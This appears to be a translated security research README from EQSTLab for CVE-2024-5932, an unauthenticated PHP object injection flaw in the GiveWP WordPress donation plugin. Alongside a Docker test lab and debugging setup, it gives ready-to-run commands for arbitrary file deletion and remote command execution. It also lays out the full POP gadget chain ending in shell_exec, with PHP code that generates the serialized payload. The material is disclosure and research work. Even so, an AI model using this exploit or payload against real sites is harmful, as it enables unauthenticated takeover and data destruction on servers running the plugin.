
GiveWP PHP Object Injection exploit
这篇帖子是 EQSTLab 发布的研究文章。
目前存在运行 xmrig 的虚假 PoC GitHub 仓库。请查看下方链接获取更多信息:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 任意文件删除与 RCE PoC ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
8月25日:上传了 CVE-2024-5932 文件删除 PoC
8月26日:我们已成功通过 CVE-2024-5932 执行任意命令,但考虑到影响正在斟酌是否披露。
8月27日:我们在 RCE Security 的 Julien Ahrens 的帖子中发现了 PoC 的详细分析,决定发布我们的 RCE PoC。我们额外上传了一个 RCE PoC,文件名为 CVE-2024-5932-rce.py。
CVE-2024-5932:GiveWP PHP 对象注入漏洞 描述:WordPress 的 GiveWP 捐赠插件和筹款平台插件在所有版本(包括 3.14.1)中均存在 PHP 对象注入漏洞,该漏洞源于对来自 'give_title' 参数的不可信输入进行反序列化。这使得未经身份验证的攻击者能够注入 PHP 对象。此外,POP 链的存在使得攻击者能够远程执行代码并删除任意文件。
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# 任意文件删除
python CVE-2024-5932.py -u <要利用的URL(捐赠表单URL)> -f <要删除的文件>
# 远程代码执行
python CVE-2024-5932-rce.py -u <要利用的URL(捐赠表单URL)> -c <要执行的命令>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



首先,使用以下命令访问 wordpress 的 shell:
docker exec -it -u root docker-wordpress-1 /bin/bash
如果文件属于 root,可能因权限问题无法删除。因此,需要使用以下命令更改测试文件的所有权:
touch test && chown www-data test

你可以使用 PHPSTORM 调试你的 GiveWP。
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={你的PHPSTORM地址}
xdebug.client_port={你的PHPSTORM调试端口}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
…然后你就可以调试你的 wordpress 了。


在此处,get_meta() 函数反序列化了先前保存的 “give_title” 值。
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags:用 \0 替换 null 字节
stripslashes_deep:用 \\\\ 替换反斜杠
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1')(返回命令字符串)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP 链允许远程命令执行。

利用 TCPDF,可以实现任意文件删除。
此仓库并非旨在作为 CVE-2024-5932 的对象注入漏洞利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请点击下方链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do